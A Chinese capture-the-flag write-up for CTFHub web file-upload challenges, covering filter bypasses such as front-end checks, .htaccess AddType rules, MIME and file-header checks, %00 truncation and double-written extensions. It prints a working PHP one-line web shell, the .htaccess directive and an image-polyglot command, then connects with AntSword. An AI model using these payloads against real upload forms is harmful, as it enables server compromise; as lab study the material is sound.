CTFHUB-WEB-文件上传

CTFHUB-WEB-文件上传

  • 无验证
    • 中国蚁剑
  • 前端验证
  • .htaccess
    • 知识点:htaccess文件
    • .htaccess 文件上传漏洞原理:
  • MIME绕过
    • MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型
  • 文件头检查
  • 00截断
    • 00截断上传原理
  • 双写后缀

CTFHUB-WEB-文件上传_第1张图片

无验证

靶机环境:

CTFHUB-WEB-文件上传_第2张图片
写个一句话木马文件:

<?php @eval($_POST["pass"]);?>

在这里插入图片描述
在靶机环境中提交一句话木马文件
CTFHUB-WEB-文件上传_第3张图片
提交之后根据提示,访问路径。页面没有报错,说明上传成功
CTFHUB-WEB-文件上传_第4张图片
接下来使用中国蚁剑工具获取shell

中国蚁剑

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。中国蚁剑是 一 款比菜刀还牛的shell控制端软件。
中国蚁剑下载地址:https://github.com/AntSwordProject/AntSword-Loader
下载加载器和核心源码”antSword“。加载器则分为三个版本:Mac、Windows、Linux。
打开加载器,双击“AntSword.exe”;
第一次安装项目需要先初始化,如果你已经下载了核心源码,就选择项目源码的文件夹。(如果只下载了加载器,选择一个空文件夹,加载器会自动帮你下载核心项目源码)。
CTFHUB-WEB-文件上传_第5张图片
第一次安装项目需要先初始化,如果你已经下载了核心源码,就选择项目源码的文件夹。(如果只下载了加载器,选择一个空文件夹,加载器会自动帮你下载核心项目源码)。
打开后,右键添加数据
CTFHUB-WEB-文件上传_第6张图片
输入刚刚上传文件的网址,pass是连接密码,进行添加
CTFHUB-WEB-文件上传_第7张图片
添加之后可以在一个www的文件夹下找到flag信息
CTFHUB-WEB-文件上传_第8张图片

前端验证

靶机环境:
CTFHUB-WEB-文件上传_第9张图片
当上传.php文件时,提示该文件不允许上传
CTFHUB-WEB-文件上传_第10张图片
查看源码,发现只可以上传jpg,png和gif类型文件
CTFHUB-WEB-文件上传_第11张图片
将一句话木马文件的后缀改成.php.jpg
CTFHUB-WEB-文件上传_第12张图片
上传文件,并用burp suite抓包,删除.jpg后缀。GO!
CTFHUB-WEB-文件上传_第13张图片
状态码200 OK,说明上传成功了。
CTFHUB-WEB-文件上传_第14张图片

接下来使用中国蚁剑获得shell,得到flag
CTFHUB-WEB-文件上传_第15张图片
CTFHUB-WEB-文件上传_第16张图片

.htaccess

知识点:htaccess文件

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess文件 (或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。
它提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

.htaccess 文件上传漏洞原理:

一般.htaccess可以用来留后门和针对黑名单绕过。
创建一个txt写入AddType application/x-httpd-php .png
意思是把文件名包含png的文件解析成php

题目:
CTFHUB-WEB-文件上传_第17张图片
靶机环境
CTFHUB-WEB-文件上传_第18张图片
查看源码,发现"php", “php7”, “php5”, “php4”, “php3”, “phtml”, “pht”, “jsp”, “jspa”, “jspx”, “jsw”, “jsv”, “jspf”, “jtml”, “asp”, “aspx”, “asa”, “asax”, “ascx”, “ashx”, “asmx”, “cer”, "swf"都是上传文件后缀的黑名单
CTFHUB-WEB-文件上传_第19张图片

新建一个txt文件写入AddType application/x-httpd-php .png 并命名为.htaccess
然后上传

CTFHUB-WEB-文件上传_第20张图片
写个一句话木马文件,并以.png为后缀
在这里插入图片描述
上传
CTFHUB-WEB-文件上传_第21张图片
使用中国蚁剑连接shell
CTFHUB-WEB-文件上传_第22张图片
得到flag
CTFHUB-WEB-文件上传_第23张图片

CTFHUB-WEB-文件上传_第24张图片

MIME绕过

MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型

它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
常见的MME类型,例如:
  超文本标记语言文本 .html,html text/htm
  普通文本 .txt text/plain
  RTF文本. rtf application/rtf
  GIF图形 .gif image/gif
  JPEG图形 . jpg image/jpeg
MIME类型 (Content-Type) 和文件后缀这是两码事,不要弄混

在CTFHUB中打开本体环境好几次,都说环境实例未找到?! 可惜了我的金币。

文件头检查

(我又环境未找到??)
CTFHUB-WEB-文件上传_第25张图片

检查源码,没什么特别的
上传一个php一句话木马,文件格式不对
MIME绕过方式也不行。绕过了后缀,但是绕不开检测,那就是检测了文件内容。
制作一个一句话木马图片(图片尽量选择小一点)
一句话图片马命令:

 copy xx.png/b+xx.php/a xx.php

CTFHUB-WEB-文件上传_第26张图片
然后再上传图片木马文件
使用蚁剑连接获得shell,得到flag

00截断

00截断上传原理

PHP的00截断是5.2.x版本的一个漏洞,当用户输入的url参数包含%00经过浏览器自动转码后截断后面字符。
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
比如https://mp.csdn.net/upfiles/?filename=test.txt 此时输出的是test.txt
加上%00
https://mp.csdn.net/upfiles/?filename=test.php%00.txt 此时输出的是test.php
就绕过了后缀限制,可以上传webshell啦。
php版本要小于5.3.4,5.3.4及以上已经修复该问题
magic_quotes_gpc需要为OFF状态

CTFHUB-WEB-文件上传_第27张图片
靶机环境:
CTFHUB-WEB-文件上传_第28张图片

网页源码:设置了白名单
CTFHUB-WEB-文件上传_第29张图片

写一个一句话木马文件,并把后缀改为.php%00.jpg
上传,使用burp suite抓包
正确的做法还是数据包中必须有上传文件的path才行。结合上传路径+文件名,进行截断。
CTFHUB-WEB-文件上传_第30张图片
CTFHUB-WEB-文件上传_第31张图片
CTFHUB-WEB-文件上传_第32张图片

上传,显示上传成功:
CTFHUB-WEB-文件上传_第33张图片

使用中国蚁剑获得shell

在这里插入图片描述
注意连接的网址,不要写错。(我就是在这吃了亏,用错了地址,连半天连不上)
获得shell后就可以在www文件下找到flag
CTFHUB-WEB-文件上传_第34张图片

双写后缀

用于只将文件后缀名,例如"php"字符串过滤的场合;
  例如:
   上传时将 Burpsuite 截获的数据包中文件名【123.php】改为【123.p php hp】,那么过滤了第一个"php"字符串"后,开头的’p’和结尾的’hp’就组合又形成了【123.php】。
靶机环境:(又出现了环境未找到??气哭)
CTFHUB-WEB-文件上传_第35张图片
解题思路:
上传一个一句话木马文件,文件名为123.pphphp
在这里插入图片描述
上传一句话木马文件
使用中国蚁剑获得shell,取得flag

你可能感兴趣的:(CTF,php,shell,安全,安全漏洞)